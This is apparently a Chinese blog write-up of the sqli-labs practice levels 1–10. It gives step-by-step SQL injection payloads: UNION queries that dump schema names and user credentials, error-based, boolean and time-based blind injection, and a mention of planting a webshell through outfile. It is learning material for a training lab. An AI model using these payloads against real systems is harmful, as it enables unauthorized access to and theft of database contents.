sql-labs 1-10

sql注入1-10

我感觉sql注入就是通过一点一点的尝试,去猜出对方数据库的结构,从而获取对方数据库的信息,从而达成目的。

所以,首先对各种sql语句,如:select语句、union语句、要有熟练的运用,其次对php的相关知识也要有一定的认知。

HTML表单中如果用GET传递的数据的话,比如账号密码什么的,其数据会在URL里显示出,所以我们就可以通过在URL里输入相应的内容来达到打乱其php后台的各项判断,从而获取对方信息。

Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。
以下为一般的流程:
猜数据库 select schema_name from information_schema.schemata
猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容 Select *** from ***

Less-1

首先,先在url中输入/?id=1,发现页面正常,都是绿色:
页面正常
然后,在url里输入/?id=1',页面错误,显示黄色:
页面错误
说明是单引号闭合性注入,我们可以试试输入/?id=1' or 1=1--+,发现页面正常,这就更验证了你的猜想。

不过,为什么呢?

其实是php后台的Sql语句被改变了,原语句sql="select * from user WHERE id =’$id’ "; id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当我们提交 1 'or 1=1–+时,直接构造的 sql 语句就是 "select * from users WHERE id=‘1’ or 1=1 --+ " 这条语句因 or 1=1 为恒真,因此页面正常。

然后用/?id=1' order by 4--+,来猜其字段数,/?id=1' order by 4--+报错了,而/?id=1' order by 3--+页面正常。
在这里插入图片描述说明有三个字段,接下来运用联合注入,也就是Union。
Union 的作用是将两个 sql 语句进行联合,且Union 前后的两个 sql 语句的选择列数要相同才可以。这就是之前为什么要获取字段数的原因。两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,比如让id=0,此处前台页面就会返回我们构造的 union 的数据。

爆数据库:
输入/?id=0' union select 1,2,3--+可以看到有页面会显示2,3。也可以尝试输入/?id=0' union select 1,8,9--+会看到原先的2和3变成了8,9。
在这里插入图片描述接下来我们输入/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+,这样可以做到将其数据库名显示在Your Login name里。也可以将3改为database(),database函数可以获取当前数据库名字,从而进一步确认要注入哪一个数据库。

输入/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),database()--+,可以看到:
在这里插入图片描述
这时我们就知道了数据是存在security里。

爆数据表:
输入/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+页面显示以下内容:
在这里插入图片描述
此时,得到了该数据库中的所有数据表,下一步就可以查找数据了。但是我们还要知道数据表的字段名,进而用group_concat去查询数据。

所以,输入/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3--+,来查询security数据库中的users数据表表的字段名。

在这里插入图片描述知道字段名后,就可以输入/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+,显示出所有账号和密码
在这里插入图片描述

Less-2

先输入/?id=1页面正常。输入/?id=1'页面错误。输入/?id=1' or 1=1--+,页面错误,说明和上一关的单引号闭合性型注入不同,可能是后台php执行的sql语句Select * from TABLE where id=1’;奇数个的单引号导致错误,所以可能为单引号注入。然后用order by排序并联合注入,详细步骤参考Less-1,只需将id处的引号去掉即可。

Less-3

先输入/?id=1页面正常。输入/?id=1’页面错误。输入/?id=1')页面正常,说明位')型注入,所以可以用')--+来进行注入。详细步骤参考Less-1。

Less-4

先输入/?id=1页面正常。输入/?id=1'页面正常。输入/?id=1')页面正常。输入/?id=1"页面终于错误了,接着用/?id=1")页面仍错误,说明代码当中对 id 参数进行了 “” 和 () 的包装。所以可以用/?id=1")--+来进行注入,然后用order by和联合注入,详细步骤参考Less-1。

Less-5

先输入/?id=1发现页面显示:
在这里插入图片描述
页面正常,但是没有和Less1–4一样的显示面,所以这关要用盲注。盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。一般有三种注入方法:
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注

这里采用报错的SQL盲注,通过构造 payload 让信息通过错误提示回显出来。

爆数据库名:
先利用 left( database(),1) 进行尝试 ,此语句表示获取database()数据名后从左往右截取1位。

输入/?id=0' union select count(*),1,concat('~',(select database() ), '~' ,floor(rand(0) *2 ) ) as a from information_schema.tables group by a--+,可以看到
在这里插入图片描述
此时,数据库名字就出来了,为:security。

爆数据表:
输入/?id=0' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+,这样照着之前的报错语句可以看到
在这里插入图片描述
所以数据表名为:referers。

接下来爆数据表列名
输入/?id=0' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

爆用户:
/?id=0' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 可以看到
在这里插入图片描述
这是就得知 username和password了。也就是I-kill-you 和Angelina,中间采用了 [ 来隔开。

也可以采用延时型注入

输入?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+,表示当错误的时候会有 5 秒的时间延时。

正确的话立马刷新成功,但要注意尽量让秒数长一点,因为网页刷新的速度可能会受到网速快慢的影响。

利用BENCHMARK()进行延时注入输入/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+

当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000 次,会占用一段时间。

Less-6

首先,像Less-5那样判断,发现仍要盲注。而且照搬第五关的不行,猜测可能是闭合情况有变。所以尝试将 ’ 也就是单引号改为 " 双引号,试试,刚好可以。然后用报错型注入,剩余操作步骤参考Less-5。

Less-7

首先,先输入?id=1发现页面显示如下:
在这里插入图片描述
提示Use outfile…,好像是让用文件写入什么的。写入一句话木马然后用中国菜刀连接就行。

Less-8

输入?id=1')发现出现如下:
在这里插入图片描述
说明是单引号的闭合,这里采用时间盲注,参考Less-5的延时注入。

Less-9

这题无论输入什么id,都会显示这个界面:
在这里插入图片描述
这样报错注入就不行了,所以采用时间盲注。

时间盲注繁琐费时,所以直接看了大佬的博客,得知
/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+即数据库名字第一个字母是s,然后以此类推,得知数据库名字是security。
数据表也这样猜,/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+然后得知某一个数据表名字是emails。还是用脚本比较方便。

Less-10

这题也是用盲注方法
猜数据库:/?id=1"and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
思路基本上和第九关一样,繁琐,慢慢猜。

在此特别感谢大佬的博客 永恒的火焰
网址:https://blog.csdn.net/weixin_43733035/article/details/86537961

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值